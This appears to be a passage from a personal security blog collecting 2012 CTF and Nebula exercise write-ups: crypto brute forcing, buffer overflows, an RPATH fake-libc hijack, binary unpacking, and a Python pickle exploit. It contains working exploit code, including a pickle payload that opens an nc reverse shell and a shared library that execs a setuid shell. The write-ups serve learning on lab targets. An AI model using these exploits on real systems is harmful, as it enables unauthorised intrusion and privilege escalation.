0x4f,0x3b,0xce,0x39,0xec,0xd1,0x3e,0x03,0xf1,0x25,0xd5,0x58,0x2e,0x3d,0x00,0x05,0xaa,0xb7,0x98,0xdf,0x02,0x57,0x9b,0xb4,0x95,0x33,0x91,0x21,0x27,0x15,0x4c,0x1a,0x6d,0xf6,0xf3,0xca,0xc3,0x1c,0x0f,0xc6,0xf4,0xad,0x63]

def encrypt(arg_1,arg_2):
    match = 0
    var_2 = 0
    var_3 = 0
    while 1:
        if len(arg_1) > var_3:
            for var_4 in range(256):
                edx = arg_1[var_3]
                eax = arg_2[var_4]
                if eax == edx:
                    match = 1
                    var_5 = var_4
            if match == 1:
                comp = arg_1[var_3] ^ var_5
                arg_1[var_2] = comp
                var_2 += 1
                match  = 0
                var_3 += 1
                if comp == 0:   # Effect of string length calculation
                    return arg_1
            else:
                var_3 += 1
       else:
           return arg_1

arg_1 = []
plain = sys.argv[1]
for i in plain:
    arg_1.append(ord(i))
r1 = encrypt(arg_1, arg_2)
r2 = encrypt(r1, arg_2)
for k in r2:
    sys.stdout.write(hex(k)+': ')
print ' '
We can see that crypter performs two rounds of operation over the plain text. The collision mentioned is the effect of xor operation. Whenever the xor operation returned 0, the crypter returns with no further operation as string length calculation stops with null byte. Since the cipher was only 11 bytes long, we decided to grep through the results of cipher text for a given plain text.
[ctf@renorobert Brute]# python decipher.py T | grep e7
Th: your encrypted key is : 7f e7 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py S | grep e7
Sh: your encrypted key is : 7f e7 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py Th | grep ff
Th1: your encrypted key is : 7f e7 ff 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py Th1 | grep ce
Th1I: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0 
Th1q: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0
[ctf@renorobert Brute]# python decipher.py Th1I | grep 'ff ce 0'
Th1Is: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0 
Finally we got the following possible characters [['T','m','S'],'h','1',['I','q'],'s',['m','S','T'],'h','3','K','e',['y','Q']]. This can be easily bruteforced against the CRC-XMODEM value of 0x8124. But we didn't do that, the string "Th1IsTh3Key" made more sense to us. Checking its CRC-XMODEM value, we were right. So the key is Th1IsTh3Key
>>> hex(crc16.crc16xmodem('Th1IsTh3Key'))
'0x8124'

Cscamp CTF Quals - Exploitation 300 [Team xbios]

Exploitation 300 is also a ELF 64-bit LSB executable. Vulnerability is a classic buffer overflow, we have to overwrite saved $rip with the address of cat_key function to print the flag. The binary uses strncpy() to copy data into buffer $rbp-0x110. The vulnerability is that we can control the arguments used by strncpy(), source buffer and the number of bytes to be copied.
   0x00000000004006a6 <+61>: callq  0x400550 <atoi@plt>   // argv[1]
   0x00000000004006ab <+66>: mov    %eax,-0x8(%rbp)       // return value
   0x00000000004006ae <+69>: mov    -0x120(%rbp),%rax
   0x00000000004006b5 <+76>: add    $0x10,%rax
   0x00000000004006b9 <+80>: mov    (%rax),%rax
   0x00000000004006bc <+83>: mov    %rax,%rdi
   0x00000000004006bf <+86>: mov    $0x0,%eax
   0x00000000004006c4 <+91>: callq  0x400550 <atoi@plt>  // argv[2]
   0x00000000004006c9 <+96>: mov    %eax,-0x4(%rbp)      // return value
   0x00000000004006cc <+99>: mov    -0x4(%rbp),%eax
   0x00000000004006cf <+102>: movslq %eax,%rdx
   0x00000000004006d2 <+105>: mov    -0x8(%rbp),%eax      
   0x00000000004006d5 <+108>: cltq   
   0x00000000004006d7 <+110>: shl    $0x3,%rax     // shl by 3 ie %rax * 2^3 ie (%rax = %rax * 8)
   0x00000000004006db <+114>: add    -0x120(%rbp),%rax // points into argv array based on argv[1]
   0x00000000004006e2 <+121>: mov    (%rax),%rcx
   0x00000000004006e5 <+124>: lea    -0x110(%rbp),%rax
   0x00000000004006ec <+131>: mov    %rcx,%rsi
   0x00000000004006ef <+134>: mov    %rax,%rdi
   0x00000000004006f2 <+137>: callq  0x400560 <strncpy@plt>

(gdb) p/x &cat_key
$1 = 0x400654
We need 280 bytes to overwrite saved $rbp and 288 bytes to overwrite saved $rip. Saved $rip is the address of __libc_start_main at address 0x00007fffxxxxxxxx. So this is our final payload
$ /levels/level200/level200 3 286 `python -c 'print "A"*280+"\x54\x06\x40\x00\x00\x00"'`
You entred : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT @
key is : b9240c45d606dc90d0df83f9818b59cd

Cscamp CTF Quals - Exploitation 200 [Team xbios]

For expliotation 200 we were given a ELF 64-bit LSB executable. The binary takes a password as input, if we get the password right, setuid() and system() functions are called which will eventually print the flag from a file. Disassembly shows a series of movb instruction, writing some value into the stack at address range between $rbp-0x12 to $rbp-0x20
data = [0x64, 0x36, 0x34, 0x38, 0x37, 0x65, 0x36, 0x39, 0x62, 0x65, 0x38, 0x64, 0x38, 0x35, 0x31 ]
Then there is a loop which checks user input, against this value. By reading the value from $rbp-0x20 we get the password. Input the password and get the flag
// This is the loop
   0x0000000000400783 <+177>: movl   $0x0,-0x38(%rbp)
   0x000000000040078a <+184>: jmp    0x4007c0 <main+238>
   0x000000000040078c <+186>: lea    -0x20(%rbp),%rdx
   0x0000000000400790 <+190>: mov    -0x38(%rbp),%eax
   0x0000000000400793 <+193>: cltq   
   0x0000000000400795 <+195>: lea    (%rdx,%rax,1),%rax
   0x0000000000400799 <+199>: movzbl (%rax),%edx
   0x000000000040079c <+202>: lea    -0x30(%rbp),%rcx
   0x00000000004007a0 <+206>: mov    -0x38(%rbp),%eax
   0x00000000004007a3 <+209>: cltq   
   0x00000000004007a5 <+211>: lea    (%rcx,%rax,1),%rax
   0x00000000004007a9 <+215>: movzbl (%rax),%eax
   0x00000000004007ac <+218>: cmp    %al,%dl
   0x00000000004007ae <+220>: je     0x4007bc <main+234>
   0x00000000004007b0 <+222>: mov    $0x400920,%edi
   0x00000000004007b5 <+227>: callq  0x400568 <puts@plt>
   0x00000000004007ba <+232>: jmp    0x4007f5 <main+291>
   0x00000000004007bc <+234>: addl   $0x1,-0x38(%rbp)
   0x00000000004007c0 <+238>: cmpl   $0xf,-0x38(%rbp)
   0x00000000004007c4 <+242>: jle    0x40078c <main+186>

Breakpoint 1, 0x000000000040078c in main ()
(gdb) x/i $rip
=> 0x40078c <main+186>: lea    -0x20(%rbp),%rdx
(gdb) x/s $rbp-0x20
0x7fffffffe060:  "d6487e69be8d851"

$ ./level100 d6487e69be8d851
Congratulation, let me grab you content of key.txt
YOUR KEY IS : e4783253f92332ddb7d30a24cd9d1541

Sunday, October 21, 2012

Exploit Exercise - RPATH Vulnerability

Level 15 of nebula has a binary whose RPATH entry is pointing to /var/tmp/flag15. When a shared object dependency is first searched in the directories given by RPATH in binary, LD_LIBRARY_PATH environment variable and finally the dynamic linker looks into /usr/lib. To solve this level we have to create a fake libc.so.6 library in the specified RPATH location and hook some function call. LD_LIBRARY_PATH cannot be used as the dynamic linker ignores it for setuid/setgid programs.
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)
As we can see libc.so.6 is now taken from /var/tmp/flag15/ . Creating a fake libc.so.6 library needs some fine tuning, Ulrich Drepper's paper on "How to write Shared Libraries" served as excellent reading material for me. For debugging purpose I made a copy of flag15, this binary will not have setuid bit and thus enables us to use LD_DEBUG variable.
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 
     19630: 
     19630: file=libc.so.6 [0];  needed by ./flag15 [0]
     19630: find library=libc.so.6 [0]; searching
     19630:  search path=/var/tmp/flag15/tls/i686/sse2/cmov:/var/tmp/flag15/tls/i686/sse2:/var/tmp/flag15/tls/i686/cmov:/var/tmp/flag15/tls/i686:/var/tmp/flag15/tls/sse2/cmov:/var/tmp/flag15/tls/sse2:/var/tmp/flag15/tls/cmov:/var/tmp/flag15/tls:/var/tmp/flag15/i686/sse2/cmov:/var/tmp/flag15/i686/sse2:/var/tmp/flag15/i686/cmov:/var/tmp/flag15/i686:/var/tmp/flag15/sse2/cmov:/var/tmp/flag15/sse2:/var/tmp/flag15/cmov:/var/tmp/flag15  (RPATH from file ./flag15)
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/libc.so.6
     19630:  search cache=/etc/ld.so.cache
     19630:   trying file=/lib/i386-linux-gnu/libc.so.6
strace will also reveal information regarding this. So now lets start building our libc.so.6. Generally shared objects are compiled with -shared -fPIC position independent code. But we need little more than that, also we should know which function call to hook. First, I was planning to hook puts() but as it progressed __libc_start_main() seemed to be the better way. But it took me sometime to get there.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#####################################################################################
20105: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20105: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by ./flag15)
The first thing we have to deal with is versioning. Ulrich Drepper's ELF symbol versioning gives information regarding this.
level15@nebula:/var/tmp/flag15$ readelf -V flag15 

Version symbols section '.gnu.version' contains 5 entries:
 Addr: 0000000008048276  Offset: 0x000276  Link: 5 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  
  004:   1 (*global*)   

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x0000000008048280  Offset: 0x000280  Link: 6 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

#######################################################################################

Symbol table '.dynsym' contains 5 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 080484cc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

We have to create a version file and recompile our library. 
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#########################################################################################
20414: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20414: checking for version `GLIBC_2.1.3' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
20414: /var/tmp/flag15/libc.so.6: error: version lookup error: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
We get another version lookup error. GLIBC_2.1.3 is no where found in flag15 binary. The libc.so.6 is built dynamically, so our version of libc.so.6 actually tries to refer to another libc.so.6 in /lib/i386-linux-gnu/. This fails because shared library is loaded only once even if referenced multiple times. So the idea is to build our version of libc.so.6 statically.
level15@nebula:/var/tmp/flag15$ readelf -V libc.so.6 

Version symbols section '.gnu.version' contains 10 entries:
 Addr: 000000000000028c  Offset: 0x00028c  Link: 3 (.dynsym)
  000:   0 (*local*)       3 (GLIBC_2.1.3)   0 (*local*)       0 (*local*)    
  004:   1 (*global*)      1 (*global*)      2 (GLIBC_2.0)     1 (*global*)   
  008:   1 (*global*)      1 (*global*)   

Version definition section '.gnu.version_d' contains 2 entries:
  Addr: 0x00000000000002a0  Offset: 0x0002a0  Link: 4 (.dynstr)
  000000: Rev: 1  Flags: BASE   Index: 1  Cnt: 1  Name: libc.so.6
  0x001c: Rev: 1  Flags: WEAK   Index: 2  Cnt: 1  Name: GLIBC_2.0

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x00000000000002d8  Offset: 0x0002d8  Link: 4 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.1.3  Flags: none  Version: 3

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
     20486: symbol=__libc_start_main;  lookup in file=./flag15 [0]
     20486: symbol=__libc_start_main;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
     20486: ./flag15: error: relocation error: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time    reference (fatal)
Ok, So we will define our own version of __libc_start_main() and check how it works
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 return 0;
}
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{
global:__libc_start_main;
local: *;
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault
level15@nebula:/var/tmp/flag15$ ulimit -c unlimited
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault (core dumped)
level15@nebula:/var/tmp/flag15$ gdb -q ./flag15 core 
Reading symbols from /var/tmp/flag15/flag15...(no debugging symbols found)...done.
[New LWP 20557]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `./flag15'.
Program terminated with signal 11, Segmentation fault.
#0  0x08048369 in _start ()
(gdb) x/i $eip
=> 0x8048369 <_start+33>: hlt

level15@nebula:/var/tmp/flag15$ objdump -d flag15
8048348 <_start>:
 8048348: 31 ed                 xor    %ebp,%ebp
 804834a: 5e                    pop    %esi
 804834b: 89 e1                 mov    %esp,%ecx
 804834d: 83 e4 f0              and    $0xfffffff0,%esp
 8048350: 50                    push   %eax
 8048351: 54                    push   %esp
 8048352: 52                    push   %edx
 8048353: 68 70 84 04 08        push   $0x8048470
 8048358: 68 00 84 04 08        push   $0x8048400
 804835d: 51                    push   %ecx
 804835e: 56                    push   %esi
 804835f: 68 30 83 04 08        push   $0x8048330
 8048364: e8 b7 ff ff ff        call   8048320 <__libc_start_main@plt>
 8048369: f4                    hlt    
 804836a: 90                    nop
 804836b: 90                    nop
 804836c: 90                    nop
 804836d: 90                    nop
 804836e: 90                    nop
 804836f: 90                    nop
We have returned from our __libc_start_main() at hit the hlt statement in _start. So lets write the final code to get the shell.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/home/flag15$ ./flag15 
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)

Friday, October 19, 2012

Hack You CTF - Crypto 300 [Team xbios]

We were given the python source code of the crpto service. The flag is read from a file and used as the salt for S-box. Also during encryption the S-box is once again shuffled with a part of the user input. So to grab the key we have to do the reverse process. First we find the current S-box using printables and non printables from ascii range of 0-127. Then revert back the effect in S-box due to user input. This will give the server copy of the salted S-box. From this copy we have to find the key which is our flag.
Here is the part of code which we used to grab the server copy of salted S-box. Not the best code to read but it worked for us
#!/usr/bin/python

import string
import collections
from socket import *

data_print = string.printable
data_notprint = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f"
JUNK = "aa"
NEW_LINE = "\n"
HOST = "127.0.0.1" 
HOST = "93.191.13.142"
PORT = 7777
sbox = [0] * 128

soc = socket(AF_INET,SOCK_DGRAM)
soc.connect((HOST,PORT))

for i in data_print:
    data = JUNK + i + NEW_LINE
    soc.sendto(data, (HOST, PORT))
    f_byte = soc.recvfrom(128)[0][:2] #fetch first byte
    val = ord(f_byte.decode("hex"))
    sbox[int(ord(i))] = val
for i in data_notprint:
    data =JUNK + i + NEW_LINE
    soc.sendto(data, (HOST, PORT))
    f_byte = soc.recvfrom(128)[0][:2] #fetch first byte
    val = ord(f_byte.decode("hex"))
    sbox[int(ord(i))] = val

print "\n[*] Reconstructed LEVEL ONE SBOX"
print sbox

for j in xrange(len(sbox)):  #remove the effect in S-box due to user input
    sbox[j] = (sbox[j] - 1) % 128
sbox[ord('a')],sbox[1] = sbox[1],sbox[ord('a')]
for k in xrange(len(sbox)):
    sbox[k] = (sbox[k] - 1) % 128
sbox[ord('a')],sbox[0] = sbox[0],sbox[ord('a')]

print "\n[*] Reconstructed LEVEL TWO SBOX"
print sbox 
This is the salted S-box from the server:
[86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
Once we got this, we have to calculate the key length being used. The server code does a mod operation over the S-box list for each character of key, this actually rotates the S-box as per key length. So from each element in list, subracting its index, we found that most elements differed by 26, which is actually our key length. A simple rotation with key length will show how it works.
[0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25, 86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44]
As we can see most elements are in its respective positions when the salted S-box is rotated with key length. Next task is to find the key, this is where we got stuck. We couldn't figure out the exact way to find the flag from the available data. Finally we came up with a code which found keys when they are smaller and doesn't have any repeated characters. Heres is the part of the code:
sboxes=[]
for i in range(max_len-1, -1, -1):
    for j in xrange(len(sbox)):
        sbox[j] = (sbox[j] - 1) % 128
    ret = sbox[i] - i
    print "\n[*] SBOX Stages: ",i
    print sbox  
    sboxes.append(sbox[::])   
    sbox[ret],sbox[i] = sbox[i],sbox[ret]

flag = ''
for index,sbox in enumerate(sboxes[::-1]):
    num = sbox[index]-index
    if num > 31 and num < 127:
        flag += chr(num)
The key we got from server is <i**t*1**k3**l**9*e***g*?> ('*' represents unfound characters). Also the stage 0 of reconstructed S-box gives clue of repeating characters. Characters other than repeating ones were in place
[60, 1, 2, 3, 4, 5, 6, 115, 96, 9, 10, 11, 12, 13, 14, 15, 16, 8, 18, 110, 48, 21, 22, 104, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 20, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 0, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 17, 97, 98, 99, 100, 101, 102, 103, 23, 105, 106, 107, 108, 109, 19, 111, 112, 113, 114, 7, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127]

>>> len("<i**t*1**k3**l**9*e***g*?>")
26
>>> chr(115)
's'
>>> chr(96)
'`'
>>> chr(110)
'n'
>>> chr(48)
'0'
>>> chr(104)
'h'
We have partial key and some other data to work with. Then our teammate rdy started looking into this with his Beautiful Mind eyes, hunting for combinations and sensible meanings. We soon figured out the key: <is`th1s`k3y`l0n9`en0ugh?>

Hack You CTF - Reverse 300 [Team xbios]

We were given a binary which was packed. "strings" revealed something like "This file is packed with the LOL executable packer http://upx.sf.net". Unpacking with UPX didn't help. But strace gave the following info
[ctf@renorobert rev300]# strace ./task3.bin 
execve("./task3.bin", ["./task3.bin"], [/* 52 vars */]) = 0
[ Process PID=5086 runs in 32 bit mode. ]
getpid()                                = 5086
gettimeofday({1350641971, 320063}, NULL) = 0
unlink("/tmp/upxDHV4WSUAIXC")           = -1 ENOENT (No such file or directory)
open("/tmp/upxDHV4WSUAIXC", O_RDWR|O_CREAT|O_EXCL, 0700) = 3
ftruncate(3, 9036)                      = 0
old_mmap(NULL, 9036, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0xfffffffff770a000
old_mmap(0xf770d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff770d000
munmap(0xf770a000, 9036)                = 0
close(3)                                = 0
open("/tmp/upxDHV4WSUAIXC", O_RDONLY)   = 3
getpid()                                = 5086
access("/proc/5086/fd/3", R_OK|X_OK)    = 0
unlink("/tmp/upxDHV4WSUAIXC")           = 0
The binary unpacks itself into /tmp before gettting executed. So the idea was to grab a copy of it. Using objdump we found an entry point into the packed binary. By running the binary in gdb and setting necessary breakpoints, we got the copy of unpacked binary from /tmp before the file is unlinked.
[ctf@renorobert rev300]# objdump -f task3.bin 

task3.bin:     file format elf32-i386
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x00402273
Once the binary was unpacked, it nicely decompiled into a readable source. Here is the part of the source that we got
void __cdecl sub_8048617(int a1, int a2)
{
  int v2; 
  int v3; 
  if ( a1 != 3 )
  {
    printf("Usage: %s <user> <key>\n", *(_DWORD *)a2);
    exit(1);
  }
  if ( sub_8049A30(*(_DWORD *)(a2 + 4), "hackyou") )
  {
    v3 = *(_DWORD *)(a2 + 4);
    v2 = *(_DWORD *)(a2 + 8);
    if ( sub_8049A00(v2) != 14 )   // length of key checked here
      sub_80485C9();
    if ( *(_BYTE *)(v2 + 4) == 45 )   // key looks like ABCD-ABCD-ABCD
    {
      if ( *(_BYTE *)(v2 + 9) == 45 )
      {
        if ( !sub_804838C(v3, v2) )   //function call to check 1st part of key
          sub_80485C9();
        if ( !sub_804844B(v3, v2 + 5) )   //function call to check 2nd part of key
          sub_80485C9();
        if ( !sub_804850A(v3, v2 + 10) )  //function call to check 3rd part of key
          sub_80485C9();
        sub_80485F0();
      }
    }
    sub_80485C9();
  }
  printf("Err, something went wrong...\n");
  exit(2);
}
signed int __cdecl sub_804838C(int a1, int a2)  //first part of key is checked with this function
{
  int v2; 
  signed int i; 
  char v5[64];
  int v6; 
  int v7; 
  int v8; 
  int v9; 
  v6 = 23;
  v7 = 13;
  v8 = 34;
  v9 = 40;
  v2 = sub_8049A00(a1);
  sub_8048DC4(a1, v2, (int)v5, 64);
  for ( i = 0; i < 4; ++i )
  {
    if ( sub_804831C(v5[*(&v6 + i)]) != *(_BYTE *)(i + a2) ) //key is checked here
      return 0;
  }
  return 1337;
}
After this, the process is straight forward. With gdb and junk input as key, we started tracing through the function calls setting up breakpoints and changing $eip's.
//Check for first part of key
   0x8048418: call   0x804831c 
   0x804841d: add    $0x4,%esp
   0x8048420: mov    0xc(%ebp),%ecx
   0x8048423: mov    -0x54(%ebp),%edx
   0x8048426: add    %edx,%ecx
   0x8048428: movsbl (%ecx),%edx
   0x804842b: cmp    %edx,%eax //key is checked here
   0x804842d: je     0x804843d
   0x8048433: mov    $0x0,%eax
   0x8048438: jmp    0x8048449
   0x804843d: jmp    0x80483f1
   0x804843f: mov    $0x539,%eax
   0x8048444: jmp    0x8048449
   0x8048449: leave  
   0x804844a: ret    

(gdb) p $eax
$4 = 107
(gdb) p $eax
$5 = 101
(gdb) p $eax
$6 = 99
(gdb) p $eax
$9 = 99
This way, we followed the three function calls and extracted the final key kecc-hack-yo0u

Thursday, October 4, 2012

Exploit Exercise - Python Pickles

Level [17] in nebula is pretty straight forward. The first look of it reveals the use of python's potentially vulnerable function pickle.loads(). The code simply unpickles any pickled data sent to it. We will use this vulnerability to perform command execution and gain a remote shell. Details about this can be found in paper Sour Pickles and blog.nelhage.com.
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
class payload(object):
    def __reduce__(self):
       comm = "rm /tmp/shell; mknod /tmp/shell p; nc 192.168.56.1 10008 0</tmp/shell | /bin/sh 1>/tmp/shell"
       return (os.system, (comm,))
payload = pickle.dumps( payload())
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect(("192.168.56.2", 10007))
print soc.recv(1024)
soc.send(payload)
[root@renorobert 17]# python payload.py && nc -v -l 10008
Accepted connection from 192.168.56.1:56089
Connection from 192.168.56.2 port 10008 [tcp/octopus] accepted
id
uid=982(flag17) gid=982(flag17) groups=982(flag17)

Saturday, September 29, 2012

Defeating ASLR Using Information Leak

In this post I will explain how ASLR can be defeated using information leak. I tried to solve Nebula [18] by taking advantage of format string vulnerability and information leak. The idea is to call the "login" function, then fgets() is used to copy the password into the stack. Then call the "notsupported" function and use the format string vulnerability to read the password from the stack. But the problem is file[64] buffer is small, during the call to "notsupported" function the password of previous stack frame is overwritten. So this is not a solution but just a POC how this approach can be used incase the data is not overwritten.

Even if the buffer is big enough, we still have ASLR which will make this attack difficult. ASLR will randomize the address of file buffer during each run. What we will do is call "notsupported" function twice. First time to read some address from the live running process using format string vulnerability, compute the new address of file buffer using the leaked information, call the "notsupported" again with the final payload to read the password.

To demostrate this, declare the buffer size to be file[512]. Nebula root account is used to compile a new binary with necessary permission changes. Also disable ASLR for debugging purpose, we will enable it by the end. GDB is used to find the address of file[512] buffer 0xbffff3fc.

level18@nebula:/tmp$ ls -ld /home/flag18/flag18_leak
-rwsr-sr-x 1 flag18 level18 17372 2012-01-27 07:33 /home/flag18/flag18_leak

//login function
#define PWFILE "/home/flag18/password"

void login(char *pw)
{
 FILE *fp;
 fp = fopen(PWFILE, "r");
 if(fp) {
  char file[512]; //buffer size modified for demonstration
  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
   return;
  }
                fclose(fp);
  if(strcmp(pw, file) != 0) return;  
 }
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");
 globals.loggedin = 1;
}
We pick up a address from the stack, here its the 8th DWORD. The difference between the address picked from this position and file[512] is found to be 0x240 bytes.
exploit.py
#!/usr/bin/env python
import os
import sys
from time import sleep
from string import find,rfind
from struct import pack

pipe_r, pipe_w = os.pipe()
param = ["/home/flag18/flag18_leak","-dformat","-vvv"]
pid = os.fork()
if pid == 0:
        # child process
        os.close(pipe_w)
        os.dup2(pipe_r, 0)
        os.execl(param[0],param[0],param[1],param[2])
# parent process
